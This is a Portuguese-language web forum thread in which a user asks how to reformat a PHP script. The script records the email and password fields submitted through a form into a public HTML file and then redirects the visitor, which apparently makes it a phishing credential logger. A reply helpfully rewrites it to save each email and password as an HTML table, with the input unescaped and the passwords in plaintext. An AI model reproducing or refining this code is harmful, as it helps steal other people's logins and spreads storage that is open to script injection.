Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Bom Primeira mente Ola a todos do Fórum...
O que eu queria saber era, se tem como eu pegar este Código Que esta abaixo e re-escrevê lo para que quando ele salve um texto... ele salve o texto em modo tabela:
Modo Normal Fica Assim:
Email:
Senha:
Modo parecido com o que Eu quero deixar:
Email:
Senha:
<?php
$nomearquivo ="senha.html";
$email =$_POST["email"];
$senha =$_POST["pass"];
$ess ="Email: ".$email."<br>Senha: ".$senha;
$abre =@fopen("senha.html","a+");
$escreve =fwrite($abre, $ess);
echo "<script>javascript:document.location='URL'
</script>";
function redirecionar($url, $tempo)
{
$url = str_replace('&', '&', $url);
if($tempo > 0)
{
header("Refresh: $tempo; URL=$url");
}
else
{
@ob_flush();
@ob_end_clean();
header("Location: $url");
exit;
}
}
?>Sim do jeito do exemplo que deixei la em cima
Qual necessidade de salvar uma table html no banco de dados ??
Primeiro. Não há questões de banco de dados aí e sim uma re-escrita em um arquivo html
Vou mostrar seguindo o que apresentou pois não se trata de banco de dados.
Página do formulário.
Spoiler
<form method="POST" action="recebe.php" target="_blank">
<table>
<tr>
<td>Email</td>
<td><input type="text" name="email" maxlength="30"></td>
</tr>
<tr>
<td>Senha</td>
<td><input type="text" name="senha" maxlength="30"></td>
</tr>
</table>
<button type="submit"> Enviar Dados </button>
</form>
Arquivo que vai receber o formulário "**recebe.php**"
Spoiler
<?php
if (count($_POST)) {
if (empty($_POST['email'])) {
echo ("Digite algo no campo do email");
} else if (empty($_POST['senha'])) {
echo ("Digite algo no campo da senha");
} else {
$escrever = "<table>"
. "<tr>"
. "<td>Email</td>"
. "<td>{$_POST['email']}</td>"
. "</tr>"
. "<tr>"
. "<td>Senha</td>"
. "<td>{$_POST['senha']}</td>"
. "</tr>"
. "</table>";
$arquivo = fopen('escrito.html', 'w');
fwrite($arquivo, $escrever);
fclose($arquivo);
header("Location: escrito.html");
}
} else {
echo ("Ops! Não há dados nenhum na array super-global POST");
}
O arquivo html não precisa criar, pois se não existir o PHP irá criar um desde que você tenha permissão administrativa para o diretório do local onde vai ser criado.
Perceba. Que o arquivo que recebe o formulário captura o valor do post e monta um layout para escrever no arquivo html
logo então redireciona o navegador para o mesmo.
No mais é você usar o CSS para estilizar a tabela do jeito que quiser.
**Algumas questões importantes:**
-
Não há necessidade desse processo de escrita, basta que tenha o layout já pronto e apenas insira os valores do post nas areas, sem que tenha de criar e escrever um arquivo para esse fim.
-
Também não sei qual a finalidade disso, mas como os colegas já disseram, talvez seja melhor você optar pelo uso de banco de dados.
Modo escrita do php:
-
r = leitura - Serve para ler o conteúdo de arquivo
-
w = escrita - Serve para escrever o conteúdo no arquivo
-
a = anexar - Serve para escrever sem apagar o que já está no arquivo.
>
19 horas atrás, Alaerte Gabriel disse:
Qual necessidade de salvar uma table html no banco de dados ??
Para melhor organizar os dados salvos
Eu apenas queria deixar de modo organizado pra saber qual é qual entende, por que ficava bagunçado
Você quer salvar o texto na tabela no banco de dados ?